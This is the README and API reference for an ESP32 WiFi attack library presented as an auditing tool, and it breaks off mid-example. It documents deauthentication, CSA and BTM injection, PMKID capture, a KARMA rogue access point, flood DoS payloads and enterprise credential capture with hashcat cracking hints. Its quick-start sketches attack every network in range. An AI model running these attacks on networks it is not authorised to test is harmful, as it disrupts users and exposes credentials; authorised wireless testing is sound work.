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Politician

A sophisticated WiFi auditing library for ESP32 microcontrollers

Politician is an embedded C++ library designed for WiFi security auditing on ESP32 platforms. It provides a clean, modern API for capturing WPA/WPA2/WPA3 handshakes and harvesting enterprise credentials using advanced 802.11 protocol techniques.

Migration Notes

ClientFoundCb signature change (develop)

ClientFoundCb was changed from (const uint8_t *bssid, const uint8_t *sta, int8_t rssi) to (const ClientRecord &rec). Update existing callbacks:

// Before
engine.setClientFoundCallback([](const uint8_t *bssid, const uint8_t *sta, int8_t rssi) { … });

// After
engine.setClientFoundCallback([](const ClientRecord &rec) {
    // rec.bssid, rec.sta, rec.rssi — same data plus rand_mac, vendor, timestamps
});

Key Capabilities

PMKID Capture — Extract PMKIDs via fake association without disconnecting any client
CSA Injection — Channel Switch Announcement; modern PMF-bypassing alternative to deauth
802.11v BTM Injection — BSS Transition Management Request; politely steers clients to reconnect
Classic Deauth — Reason-7 deauthentication for legacy networks without PMF
Client Stimulation — Wake sleeping devices with QoS Null Data frames
Enterprise Credential Harvesting — Passively capture EAP-Identity and bare EAP-MSCHAPv2 exchanges
WPS M1 Capture — Harvest device fingerprint attributes from unencrypted WPS Enrollee M1 messages
Hidden Network Discovery — SSID decloaking via directed probe requests; optional wordlist cycling
VHT/HE Detection — Parse 802.11ac/ax IEs to expose channel width and Wi-Fi generation per AP
Device Fingerprinting — Identify 150+ IoT/consumer brands via MAC OUI and IE signatures
Export Formats — Streaming PCAPNG (Wireshark-compatible); auxiliary HC22000 for Hashcat; Wigle CSV
Passive Motion Sensing — RSSI variance analysis detects human presence and movement via a fixed anchor AP; device-free, no mode switching, runs alongside the audit engine

Architecture

The library is built around a non-blocking state machine managing channel hopping, target selection, attack execution, and capture processing. All operations are contained within the politician namespace.

Core Headers

Header	Description
`Politician.h`	Main engine class — include this in every project
`PoliticianTypes.h`	Public structs, enums, and compile-time feature gates
`PoliticianStorage.h`	SD card loggers and NVS persistence (Arduino only)
`PoliticianFormat.h`	PCAPNG and HC22000 serialization primitives
`PoliticianStress.h`	Opt-in DoS payloads (SAE flood, probe flood, beacon flood)
`PoliticianProbe.h`	Opt-in PROGMEM wordlist for hidden SSID probing
`PoliticianWPS.h`	Opt-in WPS M1 print helpers and bitmask constants
`PoliticianSense.h`	Opt-in passive RSSI-based motion and presence sensing

Attack Modes

Mode	Bit	Description
`ATTACK_PMKID`	`0x01`	PMKID fishing via fake association
`ATTACK_CSA`	`0x02`	Channel Switch Announcement injection
`ATTACK_PASSIVE`	`0x04`	Listen-only — zero transmission
`ATTACK_DEAUTH`	`0x08`	Classic Reason-7 deauthentication
`ATTACK_STIMULATE`	`0x10`	QoS Null Data client stimulation
`ATTACK_BTM`	`0x20`	802.11v BSS Transition Management Request
`ATTACK_ALL`	`0x3F`	All active attack vectors

Compile-Time Feature Gates

Define any of these before including Politician.h or via your build system (-DNAME):

; platformio.ini
build_flags =
    -DPOLITICIAN_NO_DB           ; Strip 14KB OUI database (no vendor lookups)
    -DPOLITICIAN_NO_PCAPNG       ; Strip PCAPNG serialization
    -DPOLITICIAN_NO_HC22000      ; Strip Hashcat HC22000 formatter
    -DPOLITICIAN_NO_LOGGING      ; Strip all internal Serial log output
    -DPOLITICIAN_NO_STD_FUNCTION ; Use raw fn pointers instead of std::function
    -DPOLITICIAN_NO_MSCHAPV2     ; Strip bare EAP-MSCHAPv2 capture
    -DPOLITICIAN_NO_KARMA        ; Strip KARMA rogue AP responder
    -DPOLITICIAN_MAX_INSTANCES=1 ; Limit to one instance (saves a pointer array slot)

POLITICIAN_NO_STD_FUNCTION reverts all callback types from std::function<> to raw function pointers — saving ~2KB flash and enabling use in environments without <functional>. Lambda captures are unavailable when this flag is set.

POLITICIAN_MAX_INSTANCES (default 2) controls the size of the static instance registry used by the promiscuous ISR dispatcher. Set to 1 for single-instance deployments to eliminate the loop overhead in the ISR.

Installation

PlatformIO

[env:myboard]
platform = espressif32
board = esp32dev
framework = arduino
lib_deps =
    Politician

Or clone directly into your project's lib/ directory:

cd lib/
git clone https://github.com/0ldev/Politician.git

Arduino IDE

Download the library as a ZIP file
Sketch → Include Library → Add .ZIP Library

ESP-IDF

Clone into your project's components/ directory and create a CMakeLists.txt:

idf_component_register(
    SRCS "src/Politician.cpp" "src/PoliticianFormat.cpp" "src/PoliticianStress.cpp"
    INCLUDE_DIRS "src"
)

PoliticianStorage.h is Arduino-only and emits a #error under ESP-IDF. Use ESP-IDF's VFS and nvs_flash APIs directly.

Quick Start

Basic Handshake Capture

#include <Arduino.h>
#include <SD.h>
#include <Politician.h>
#include <PoliticianStorage.h>

using namespace politician;
using namespace politician::storage;

Politician engine;
PcapngFileLogger pcap; // Streaming logger — one open(), many write() calls

void onHandshake(const HandshakeRecord &rec) {
    Serial.printf("[✓] %s  ch%d  rssi=%d  type=%d\n",
                  rec.ssid, rec.channel, rec.rssi, rec.type);
    pcap.write(rec);
}

void setup() {
    Serial.begin(115200);
    SD.begin();

    pcap.open(SD, "/captures.pcapng", 4 * 1024 * 1024); // optional auto-rotation at 4MB

    engine.setEapolCallback(onHandshake);
    engine.begin();
    engine.setAttackMask(ATTACK_ALL);
}

void loop() {
    engine.tick();
}

Bare ESP-IDF Quick Start

#include <nvs_flash.h>
#include <esp_event.h>
#include <Politician.h>

using namespace politician;
static Politician engine;

static void audit_task(void *) {
    engine.setEapolCallback([](const HandshakeRecord &rec) {
        printf("[+] %s  ch%d\n", rec.ssid, rec.channel);
    });
    engine.begin();
    engine.setAttackMask(ATTACK_ALL);
    for (;;) { engine.tick(); vTaskDelay(pdMS_TO_TICKS(1)); }
}

extern "C" void app_main(void) {
    nvs_flash_init();
    esp_event_loop_create_default();
    xTaskCreate(audit_task, "politician", 8192, nullptr, 5, nullptr);
}

API Reference

Initialization

Error begin(const Config &cfg = Config());

Initializes the WiFi driver in promiscuous mode. Must be called before any other method. Clamps and warns on invalid Config values at startup. Use validateConfig() beforehand to surface misconfigurations before deploying in the field:

Config cfg;
cfg.hop_min_dwell_ms = 400;
cfg.hop_max_dwell_ms = 200; // wrong — min > max

const char *warnings[8];
int n = politician::validateConfig(cfg, warnings, 8);
for (int i = 0; i < n; i++) Serial.println(warnings[i]);
// → "hop_min_dwell_ms >= hop_max_dwell_ms — max will be clamped to min+50ms"

engine.begin(cfg); // begins normally; begin() clamps automatically

validateConfig() is a free inline function in the politician namespace — zero allocations, zero dependencies.

Configuration

struct Config {
    // ── Channel Hopping ──────────────────────────────────────────────────────
    uint16_t hop_dwell_ms             = 200;    // Static dwell time per channel (ms)
    bool     smart_hopping            = true;   // Dynamic dwell based on traffic activity
    uint16_t hop_min_dwell_ms         = 50;     // Minimum dwell (smart hopping floor)
    uint16_t hop_max_dwell_ms         = 400;    // Maximum dwell (smart hopping ceiling)
    uint32_t m1_lock_ms               = 800;    // Stay on channel after seeing M1 (ms)

    // ── PMKID Fishing ────────────────────────────────────────────────────────
    uint32_t fish_timeout_ms          = 2000;   // Timeout per PMKID association attempt
    uint8_t  fish_max_retries         = 2;      // PMKID retries before pivoting to CSA

    // ── CSA / Deauth ─────────────────────────────────────────────────────────
    uint32_t csa_wait_ms              = 4000;   // Wait window after CSA/Deauth burst (ms)
    uint8_t  csa_beacon_count         = 8;      // CSA beacon frames per burst
    uint8_t  csa_deauth_count         = 15;     // Deauth frames appended to CSA burst
    uint8_t  deauth_burst_count       = 16;     // Frames per standalone deauth burst
    uint8_t  deauth_reason            = 7;      // 802.11 reason code in deauth frames
    bool     deauth_reason_cycling    = true;   // Cycle reason codes during burst (fuzzing)

    // ── 802.11v BTM ──────────────────────────────────────────────────────────
    uint8_t  btm_burst_count          = 8;      // BTM Request frames per client per trigger
    uint16_t btm_disassoc_timer       = 3;      // Disassociation Timer in TBTTs (~300ms)

    // ── Timing & Intervals ───────────────────────────────────────────────────
    uint16_t probe_aggr_interval_s    = 30;     // Seconds between re-attacking the same AP
    uint32_t session_timeout_ms       = 60000;  // Orphaned handshake session lifetime (ms)
    uint32_t ap_expiry_ms             = 300000; // Evict APs not seen for this long (0=never)
    uint32_t probe_hidden_interval_ms = 0;      // Probe hidden APs every N ms (0=disabled)

    // ── Capture & Logging ────────────────────────────────────────────────────
    uint8_t  capture_filter           = LOG_FILTER_HANDSHAKES | LOG_FILTER_PROBES;
    bool     capture_half_handshakes  = false;  // Fire callback on M2-only; pivot to active
    bool     capture_group_keys       = false;  // Fire eapolCb on GTK rotation frames

    // ── Filtering ────────────────────────────────────────────────────────────
    int8_t   min_rssi                 = -100;   // Ignore APs weaker than this (dBm)
    uint8_t  min_beacon_count         = 0;      // Min beacons before attack/callback (0=off)
    uint8_t  max_total_attempts       = 0;      // Permanently skip after N failures (0=∞)
    bool     skip_immune_networks     = true;   // Skip pure WPA3 / PMF-Required APs
    bool     require_active_clients   = false;  // Skip attack if no clients seen on AP
    bool     unicast_deauth           = true;   // Deauth known client MAC, not broadcast
    uint8_t  sta_filter[6]            = {};     // Only record EAPOL from this client (0=any)
    char     ssid_filter[33]          = {};     // Only cache APs matching this SSID (empty=any)
    bool     ssid_filter_exact        = true;   // true=exact, false=substring SSID match
    uint8_t  enc_filter_mask          = 0xFF;   // Enc types to cache (bit0=Open … bit5=OWE)

    // ── Soft AP ──────────────────────────────────────────────────────────────
    const char* soft_ap_ssid          = nullptr; // AP SSID (nullptr=hidden "WiFighter")
};

Callbacks

void setEapolCallback(EapolCb cb);           // Handshake captured (EAPOL, PMKID, group key)
void setApFoundCallback(ApFoundCb cb);       // New AP discovered (after min_beacon_count)
void setIdentityCallback(IdentityCb cb);     // EAP-Identity plaintext harvested
void setWpsCallback(WpsCb cb);               // WPS M1 device attributes captured
void setMsChapCallback(MsChapCb cb);         // Bare EAP-MSCHAPv2 challenge/response (#ifndef POLITICIAN_NO_MSCHAPV2)
void setClientFoundCallback(ClientFoundCb cb); // New STA seen on an AP (ClientRecord)
void setRogueApCallback(RogueApCb cb);       // Second BSSID advertising same SSID (evil twin)
void setAttackResultCallback(AttackResultCb cb); // Attack exhausted without capture
void setProbeRequestCallback(ProbeRequestCb cb); // Probe request frame received
void setDisruptCallback(DisruptCb cb);       // Deauth/Disassoc frame observed
void setTargetFilter(TargetFilterCb cb);     // Return false to ignore an AP entirely
void setTargetScoreCallback(TargetScoreCb cb); // Custom priority score for autoTarget
void setPacketLogger(PacketCb cb);           // Raw promiscuous-mode frames
void setLogger(LogCb cb);                    // Redirect internal log output

Engine Control

void    tick();                           // Main worker — call from loop()
void    setActive(bool active);           // Enable/disable frame processing
void    stop();                           // Full teardown: abort attack, clear target, stop hopping
void    startHopping(uint16_t dwellMs=0); // Start channel hopping
void    stopHopping();                    // Stop hopping (attack state machine continues)
Error   lockChannel(uint8_t ch);          // Stop hopping, lock to a channel
Error   setChannel(uint8_t ch);           // Tune radio to a channel
void    setChannelList(const uint8_t *channels, uint8_t count); // Restrict hop sequence
uint8_t getChannelsSortedByActivity(uint8_t *out, uint8_t count) const; // Busy channels first
uint8_t setAutoChannelList(uint8_t topN);      // Replace hop list with hottest channels
void    setChannelBands(bool ghz24, bool ghz5); // Hop 2.4GHz, 5GHz, or both

Target Control

Error   setTarget(const uint8_t *bssid, uint8_t channel); // Focus on one BSSID
Error   setTargetBySsid(const char *ssid);                // Pick strongest match from cache
void    clearTarget();                                      // Resume autonomous hopping
bool    hasTarget()    const;                               // True if focused on a target
bool    isAttacking()  const;                               // True if attack in progress
void    setAutoTarget(bool enable);                         // Continuously target strongest AP
void    setAttackMask(uint8_t mask);                        // Active attack vector bitmask
void    setAttackMaskForBssid(const uint8_t *bssid, uint8_t mask); // Per-BSSID override
void    setAttackMaskForSsid(const char *ssid, uint8_t mask, bool substring=false);
void    clearAttackMaskOverrides();
void    setDisconnectionStrategy(DisconnectStrategy strategy); // STRATEGY_AUTO_FALLBACK / SIMULTANEOUS

AP Cache & Stats

int    getApCount() const;
bool   getAp(int idx, ApRecord &out) const;
bool   getApByBssid(const uint8_t *bssid, ApRecord &out) const;
void   forEachAp(void (*cb)(const ApRecord &ap, void *ctx), void *ctx) const;
int    getClientCount(const uint8_t *bssid) const;
bool   getClient(const uint8_t *bssid, int idx, uint8_t out_sta[6]) const;
Stats& getStats();
void   resetStats();

Probe Wordlist

void setProbeWordlist(const char * const *wordlist, uint8_t count);

When cfg.probe_hidden_interval_ms > 0, the engine probes each hidden AP with one wordlist entry per interval, cycling independently per AP. Use with PoliticianProbe.h:

#include <PoliticianProbe.h>
using namespace politician::probe;

cfg.probe_hidden_interval_ms = 5000;
engine.begin(cfg);
engine.setProbeWordlist(WORDLIST, WORDLIST_COUNT); // 70-entry built-in list

Pass nullptr to revert to wildcard-only probing. The wordlist must remain in scope for the engine's lifetime (PROGMEM or static storage).

Frame Injection

Error injectCustomFrame(const uint8_t *payload, size_t len, uint8_t channel,
                        uint32_t lock_ms = 0, bool wait_for_channel = false);

lock_ms > 0 — disable hopping and hold channel for this duration after injection
wait_for_channel = true — queue frame for stealthy injection when hopper naturally lands on the channel

Data Structures

Config Constants

// Encryption type constants (ApRecord.enc, enc_filter_mask bit index)
#define ENC_OPEN    0   // Open — no encryption
#define ENC_WEP     1   // WEP
#define ENC_WPA     2   // WPA (vendor IE 00:50:F2:01)
#define ENC_WPA2    3   // WPA2 / WPA3-Transition (RSN IE, PSK or SAE AKM)
#define ENC_ENT     4   // 802.1X Enterprise (RSN IE, 802.1X AKM suite 1)
#define ENC_OWE     5   // OWE — Opportunistic Wireless Encryption (AKM suite 18)
                        // Engine skips PMKID fishing and CSA/Deauth for OWE networks.

// Attack bits
#define ATTACK_PMKID        0x01
#define ATTACK_CSA          0x02
#define ATTACK_PASSIVE      0x04
#define ATTACK_DEAUTH       0x08
#define ATTACK_STIMULATE    0x10
#define ATTACK_BTM          0x20
#define ATTACK_ALL          0x3F

// Capture types (HandshakeRecord.type)
#define CAP_PMKID           0x01  // PMKID via fake association
#define CAP_EAPOL           0x02  // Full passive 4-way handshake
#define CAP_EAPOL_CSA       0x03  // 4-way triggered by CSA/Deauth
#define CAP_EAPOL_HALF      0x04  // M2-only — active pivot triggered
#define CAP_EAPOL_GROUP     0x05  // GTK rotation (non-pairwise EAPOL-Key)
#define CAP_SAE             0x06  // WPA3 SAE Commit/Confirm

// Pairwise cipher classification (HandshakeRecord.cipher)
#define CIPHER_UNKNOWN      0
#define CIPHER_TKIP         1
#define CIPHER_CCMP         2

// Capture filter flags (Config.capture_filter)
#define LOG_FILTER_HANDSHAKES   0x01  // EAPOL + PMKID (SPI SD safe)
#define LOG_FILTER_PROBES       0x02  // Probe requests/responses (SPI SD safe)
#define LOG_FILTER_BEACONS      0x04  // Beacons — high volume, SDMMC only
#define LOG_FILTER_PROBE_REQ    0x08  // Probe requests as raw EPBs (SPI SD safe)
#define LOG_FILTER_MGMT_DISRUPT 0x10  // Deauth/Disassoc EPBs (SPI SD safe)
#define LOG_FILTER_ALL          0xFF  // Everything — SDMMC only

ApRecord

struct ApRecord {
    uint8_t  bssid[6];
    char     ssid[33];
    uint8_t  ssid_len;
    uint8_t  channel;
    int8_t   rssi;
    uint8_t  enc;               // ENC_OPEN=0 ENC_WEP=1 ENC_WPA=2 ENC_WPA2=3 ENC_ENT=4 ENC_OWE=5
    bool     wps_enabled;       // WPS IE present in beacon/probe-response
    bool     pmf_capable;       // MFPC — AP supports Protected Management Frames
    bool     pmf_required;      // MFPR — AP mandates PMF (pure WPA3)
    bool     ft_capable;        // 802.11r FT AKM advertised (FT-PSK or FT-EAP)
    bool     is_hidden;         // Broadcasts empty SSID
    bool     is_vht;            // 802.11ac (Wi-Fi 5) capable
    bool     is_he;             // 802.11ax (Wi-Fi 6) capable
    uint8_t  chan_width;        // Max channel width: 0=20 1=40 2=80 3=160 4=80+80 MHz
    uint8_t  total_attempts;    // Failed attack attempts against this BSSID (drives exp. backoff)
    bool     captured;          // On the captured or ignore list
    uint32_t first_seen_ms;     // millis() when first observed
    uint32_t last_seen_ms;      // millis() of most recent beacon/probe-response
    char     country[3];        // ISO 3166-1 alpha-2 from IE 7 (e.g. "US"), empty if absent
    uint16_t beacon_interval;   // Beacon interval in TUs (1 TU = 1024 µs)
    uint8_t  max_rate_mbps;     // Highest rate from Supported Rates IEs (Mbps)
    uint16_t sta_count;         // Connected client count from BSS Load IE
    uint8_t  chan_util;         // Channel utilization from BSS Load IE (0-255)
    uint8_t  venue_group;       // 802.11u Venue Group (e.g., 2=Education)
    uint8_t  venue_type;        // 802.11u Venue Type (e.g., 8=University)
    uint8_t  network_type;      // 802.11u Access Network Type (1=Free Public, 2=Chargeable)
    uint32_t beacon_count;      // Beacon/probe-response observations cached for this AP
    uint8_t  capture_count;     // Captures recorded for this BSSID
    uint32_t last_attack_ms;    // millis() when an active attack last targeted this AP
};

Stats

struct Stats {
    uint32_t total;
    uint32_t mgmt;
    uint32_t ctrl;
    uint32_t data;
    uint32_t eapol;
    uint32_t pmkid_found;
    uint32_t sae_found;
    uint32_t beacons;
    uint32_t captures;
    uint32_t failed_pmkid;
    uint32_t failed_csa;
    volatile uint32_t dropped;    // Frames dropped due to ringbuffer overflow
    uint32_t rb_max;              // Max observed ringbuffer usage (bytes)
    uint16_t channel_frames[200]; // Frames per channel, indexed by channel number
                                  // (e.g. ch1=index1, ch36=index36; index 0 unused)
};

HandshakeRecord

struct HandshakeRecord {
    uint8_t  type;           // CAP_PMKID / CAP_EAPOL / CAP_EAPOL_CSA / CAP_EAPOL_HALF / CAP_EAPOL_GROUP / CAP_SAE
    uint8_t  channel;
    int8_t   rssi;
    uint8_t  bssid[6];
    uint8_t  sta[6];
    char     ssid[33];
    uint8_t  ssid_len;
    uint8_t  enc;
    uint8_t  cipher;         // CIPHER_UNKNOWN / CIPHER_TKIP / CIPHER_CCMP
    uint8_t  pmkid[16];      // PMKID path
    uint8_t  anonce[32];     // EAPOL path
    uint8_t  snonce[32];
    uint8_t  mic[16];
    uint8_t  eapol_m2[256];
    uint8_t  eapol_m3[256];
    uint8_t  eapol_m4[256];
    uint16_t eapol_m2_len;
    uint16_t eapol_m3_len;
    uint16_t eapol_m4_len;
    bool     has_mic;
    bool     has_anonce;
    bool     has_snonce;
    bool     has_m3;
    bool     has_m4;
    bool     is_full;        // Complete 4-way or full SAE exchange
    uint8_t  sae_seq;        // SAE Auth Sequence (1=Commit, 2=Confirm)
};

EapIdentityRecord

struct EapIdentityRecord {
    uint8_t bssid[6];
    uint8_t client[6];
    char    identity[65];  // Plaintext identity / email — always cleartext, pre-TLS
    uint8_t channel;
    int8_t  rssi;
    uint8_t eap_method;      // Last seen outer EAP method
};

WpsRecord

Captured from WPS M1 (Enrollee → AP). M1 is always unencrypted — subsequent messages are inside a TLS tunnel and cannot be read passively.

struct WpsRecord {
    uint8_t  bssid[6];
    uint8_t  sta[6];             // WPS Enrollee MAC
    uint8_t  channel;
    int8_t   rssi;
    char     device_name[33];    // Device Name (TLV 0x1011)
    char     manufacturer[65];   // Manufacturer (TLV 0x1021)
    char     model_name[33];     // Model Name (TLV 0x1023)
    char     model_number[33];   // Model Number (TLV 0x1024)
    char     serial_number[33];  // Serial Number (TLV 0x1042)
    uint16_t auth_type_flags;    // Supported auth types (TLV 0x1004)
    uint16_t config_methods;     // Setup methods: PBC, PIN, NFC (TLV 0x1008)
    uint8_t  rf_bands;           // bit0=2.4GHz, bit1=5GHz (TLV 0x103C)
    uint16_t primary_dev_type_cat; // Device category (TLV 0x1054)
};

Use PoliticianWPS::print(Serial, rec) for formatted output. See PoliticianWPS.h for bitmask constants and helpers.

MsChapRecord (requires bare MSCHAPv2 — no PEAP/TTLS tunnel)

// #ifndef POLITICIAN_NO_MSCHAPV2
struct MsChapRecord {
    uint8_t bssid[6];
    uint8_t sta[6];
    uint8_t channel;
    int8_t  rssi;
    char    username[65];
    uint8_t server_challenge[16]; // From MSCHAPv2 Challenge frame
    uint8_t peer_challenge[16];   // From MSCHAPv2 Response frame
    uint8_t nt_response[24];      // Offline crackable with hashcat -m 5500
};
// #endif

Note: This only fires against networks delivering bare EAP-MSCHAPv2 without a TLS tunnel — a misconfiguration. Most enterprise networks wrap MSCHAPv2 inside PEAP or TTLS, making it opaque. EapIdentityRecord (username only) works against all 802.1X deployments regardless of inner method.

Other Records

struct ClientRecord       { uint8_t bssid[6]; uint8_t sta[6]; int8_t rssi; uint32_t first_seen_ms; uint32_t last_seen_ms; bool rand_mac; char vendor[32]; };
struct AttackResultRecord { uint8_t bssid[6]; char ssid[33]; uint8_t ssid_len; AttackResult result; };
struct RogueApRecord      { uint8_t known_bssid[6]; uint8_t rogue_bssid[6]; char ssid[33]; uint8_t ssid_len; uint8_t channel; int8_t rssi; };
struct ProbeRequestRecord { uint8_t client[6]; uint8_t channel; int8_t rssi; char ssid[33]; uint8_t ssid_len; bool rand_mac; };
struct DisruptRecord      { uint8_t src[6]; uint8_t dst[6]; uint8_t bssid[6]; uint16_t reason; uint8_t subtype; uint8_t channel; int8_t rssi; bool rand_mac; };

Storage Utilities

Requires #include <PoliticianStorage.h>. Arduino only.

Streaming PCAPNG (Recommended)

Keep the file handle open across the entire capture session — avoids repeated SD open/close overhead and reduces wear:

PcapngFileLogger pcap;

void setup() {
    SD.begin();
    storage::setTimestampProvider([]() -> const char * { return "2025-01-01 00:00:00"; });
    pcap.open(SD, "/captures.pcapng", 8 * 1024 * 1024); // optional rotation threshold
}

void onHandshake(const HandshakeRecord &rec) {
    pcap.write(rec);
}

void onPacket(const uint8_t *payload, uint16_t len, int8_t rssi, uint8_t ch, uint32_t ts) {
    pcap.writePacket(payload, len, rssi, ch, ts);
}

void teardown() {
    pcap.close(); // or let destructor handle it
}

One-Shot PCAPNG (Legacy)

Opens and closes the file on every call — suitable for infrequent writes:

PcapngFileLogger::append(SD, "/captures.pcapng", rec);
PcapngFileLogger::appendPacket(SD, "/intel.pcapng", payload, len, rssi, ch, ts);

HC22000

Hc22000FileLogger hc;
hc.open(SD, "/captures.hc22000");
hc.write(rec);
hc.close();

// Or one-shot:
Hc22000FileLogger::append(SD, "/captures.hc22000", rec);

Wigle CSV

// Log an AP (use in setApFoundCallback)
WigleCsvLogger::appendAp(SD, "/wardrive.csv", ap, lat, lon);

// Log a capture (use in setEapolCallback)
WigleCsvLogger::append(SD, "/wardrive.csv", rec, lat, lon);

Enterprise CSV

EnterpriseCsvLogger::append(SD, "/identities.csv", rec); // also logs outer EAP method + timestamp

NVS BSSID Cache (Deduplication)

NvsBssidCache nvsCache("captures", 128);

void onHandshake(const HandshakeRecord &rec) {
    if (!nvsCache.contains(rec.bssid)) {
        nvsCache.add(rec.bssid);   // staged in RAM — not written to flash yet
        // ... log record ...
    }
}

void onTeardown() {
    if (nvsCache.isDirty()) {
        nvsCache.flush();   // single NVS write for all staged adds
    }
}

The dirty-flag pattern batches NVS writes: add() only updates RAM; flush() performs the single NVS putBytes() call. Call flush() at natural checkpoints (e.g., channel hop, button press, end()).

Network Stream Loggers

TcpStreamLogger tcp(collectorIp, 9000);
UdpStreamLogger udp(collectorIp, 9001);

tcp.write(rec);
udp.writePacket(payload, len, rssi, ch, ts);

Define POLITICIAN_NO_NETWORK_LOGGER to strip these Arduino/WiFi-backed streamers.

Advanced Features

KARMA Rogue AP Responder

When a device sends a named probe request (looking for a remembered network), the KARMA responder replies with a matching probe response and beacon advertising that SSID as an open AP, enticing the device to auto-associate.

Config cfg;
cfg.karma_enabled   = true;  // enable at startup
cfg.karma_open_only = true;  // skip probes for SSIDs cached as WPA networks (default)
engine.begin(cfg);

engine.setKarmaCallback([](const KarmaRecord &rec) {
    Serial.printf("[KARMA] echoed '%s' to %02X:%02X:%02X:%02X:%02X:%02X ch%d\n",
                  rec.ssid,
                  rec.client[0], rec.client[1], rec.client[2],
                  rec.client[3], rec.client[4], rec.client[5],
                  rec.channel);
    // rec.ap_mac — spoofed open AP MAC (OUI 02:CA:FE + 3 random bytes)
});

// Toggle at runtime without restarting:
engine.enableKarma(true);
engine.enableKarma(false);

Config fields:

Field	Default	Description
`karma_enabled`	`false`	Enable KARMA at `begin()`
`karma_open_only`	`true`	Skip probes for SSIDs already cached as WPA APs
`karma_max_ssids`	`16`	Dedup table size (circular eviction, 10s suppression window)

Strip the entire feature at compile time with -DPOLITICIAN_NO_KARMA.

Note: KARMA requires the engine to be in active (transmitting) mode. The spoofed AP uses an open (no RSN) configuration; clients that require WPA will not associate.

BTM (BSS Transition Management) is a Wi-Fi 802.11v mechanism that politely asks clients to roam. When a client respects it, it disconnects and reassociates — triggering a new EAPOL handshake. Combines with or replaces CSA/Deauth:

Config cfg;
cfg.btm_burst_count   = 8;  // frames per client
cfg.btm_disassoc_timer = 3; // TBTTs (~300ms) until expected disassoc
engine.begin(cfg);
engine.setAttackMask(ATTACK_BTM | ATTACK_CSA); // BTM first, CSA as fallback

BTM fires independently for every known client on the target AP. Most modern phones and laptops honour it; legacy 802.11a/b/g devices ignore it.

WPS M1 Device Fingerprinting

#include <PoliticianWPS.h>
using namespace politician;

engine.setWpsCallback([](const WpsRecord &rec) {
    PoliticianWPS::print(Serial, rec);
    // rec.config_methods & PoliticianWPS::CFG_PUSH_BUTTON → PBC supported
    // rec.rf_bands & 0x02 → 5GHz capable
});

Bare EAP-MSCHAPv2 Capture

engine.setMsChapCallback([](const MsChapRecord &rec) {
    Serial.printf("[MSCHAPv2] user=%s\n", rec.username);
    // Feed to: hashcat -m 5500 "user::::peer_chal:nt_resp:srv_chal"
    // or: asleap -C server_challenge -R nt_response
});

Hidden Network Discovery with Wordlist

#include <PoliticianProbe.h>
using namespace politician::probe;

Config cfg;
cfg.probe_hidden_interval_ms = 5000; // probe one word every 5s per hidden AP
engine.begin(cfg);
engine.setProbeWordlist(WORDLIST, WORDLIST_COUNT); // 70 common SSIDs in PROGMEM

// Optionally supply your own:
static const char * const myList[] = { "CorpNet", "HQ-Internal", "IoT-Devices" };
engine.setProbeWordlist(myList, 3);

Each hidden AP in the cache maintains its own position in the wordlist — APs cycle independently so no word is ever skipped. If the AP responds, its SSID is revealed and stored in the cache automatically.

VHT/HE Detection

engine.setApFoundCallback([](const ApRecord &ap) {
    const char *gen = ap.is_he ? "Wi-Fi 6 (ax)" : ap.is_vht ? "Wi-Fi 5 (ac)" : "Wi-Fi 4 (n)";
    const char *width[] = { "20MHz", "40MHz", "80MHz", "160MHz", "80+80MHz" };
    Serial.printf("%s  %s  %s\n", ap.ssid, gen, width[ap.chan_width]);
});

HE/VHT-Aware Attack Path

Wi-Fi 5 (VHT) and Wi-Fi 6 (HE) networks that mandate PMF (pmf_required = true) cryptographically sign every management frame. Deauthentication and CSA beacon injections will be silently dropped by these clients.

The engine automatically detects this condition and suppresses ATTACK_DEAUTH and ATTACK_CSA for those networks, redirecting the attack cycle to ATTACK_PMKID and ATTACK_BTM — both of which work regardless of PMF:

is_he && pmf_required  →  skip DEAUTH + CSA  →  PMKID fish → BTM steer
is_vht && pmf_required →  skip DEAUTH + CSA  →  PMKID fish → BTM steer

No configuration required — suppression is automatic. Use ATTACK_ALL and the engine selects the correct strategy per AP.

Exponential Backoff for Failing Targets

Each ApCacheEntry tracks total_attempts — the number of failed attack cycles against that BSSID. The PMKID throttle window doubles per failure, capped at 8 minutes:

throttle = base_ms << min(total_attempts, 4)   // max 16× base
cap      = 480 000 ms (8 minutes)

Attempts	Base 30s	Effective window
0	30s	30s
1	30s	60s
2	30s	2 min
3	30s	4 min
≥4	30s	8 min (capped)

This prevents the engine wasting its attack window on chronic failures. When has_target = true (manual target pinned) backoff is bypassed entirely so targeted sessions always attack immediately.

Multi-Instance Support

Up to POLITICIAN_MAX_INSTANCES (default 2) independent Politician objects can be active simultaneously. Each instance has its own ring buffer, worker task, AP cache, and callback set. The single promiscuous ISR dispatches every captured frame to all registered active instances.

#define POLITICIAN_MAX_INSTANCES 2  // default; define before including Politician.h
#include <Politician.h>
using namespace politician;

Politician scanner;   // hops 2.4 GHz, passive scan only
Politician auditor;   // locked to ch6, active PMKID capture

void setup() {
    Config scanCfg;
    scanCfg.attack_mask = ATTACK_PASSIVE;
    if (scanner.begin(scanCfg) != OK) { /* handle */ }
    scanner.startHopping();

    Config auditCfg;
    auditCfg.attack_mask = ATTACK_PMKID;
    if (auditor.begin(auditCfg) != OK) { /* handle */ }
    auditor.lockChannel(6);
    auditor.setActive(true);
}

void loop() {
    scanner.tick();
    auditor.tick();
}

Constraints:

All instances share the single Wi-Fi radio. esp_wifi_set_channel() affects every instance — coordinate channel access explicitly or use lockChannel() on the instance that should own the channel.
The Wi-Fi driver is initialised once by whichever instance calls begin() first. Subsequent instances skip driver init and inherit the promiscuous mode.
Exceeding POLITICIAN_MAX_INSTANCES returns ERR_MAX_INSTANCES (6) from begin().
stop() deregisters the instance so its slot is immediately reusable.

Passive Motion & Presence Sensing

PoliticianSense.h hooks into the engine's promiscuous-mode packet stream and measures RSSI variance from a fixed anchor AP to detect human presence and motion — no additional hardware, no mode switching, no conflict with the audit engine.

A human body walking between the anchor AP and the ESP32 absorbs and scatters 2.4 GHz radio waves, causing measurable fluctuations in the received beacon signal strength. PoliticianSense tracks variance over a configurable sliding window and fires a callback when the space transitions between quiet and active.

Scope: With a single ESP32 you get presence / motion detection — not localization. Knowing where in the space someone is requires multiple observation points.

#include <Politician.h>
#include <PoliticianSense.h>
using namespace politician;

Politician      engine;
PoliticianSense sense;

void setup() {
    Config cfg;
    cfg.capture_filter |= LOG_FILTER_BEACONS; // required — set before engine.begin()
    engine.begin(cfg);
    engine.startHopping();

    // Configure tuning before anchoring
    sense.setThreshold(6.0f);  // variance (dBm²) that triggers MOTION
    sense.setWindowSize(32);   // samples in sliding window (~3s at 10 beacons/sec)
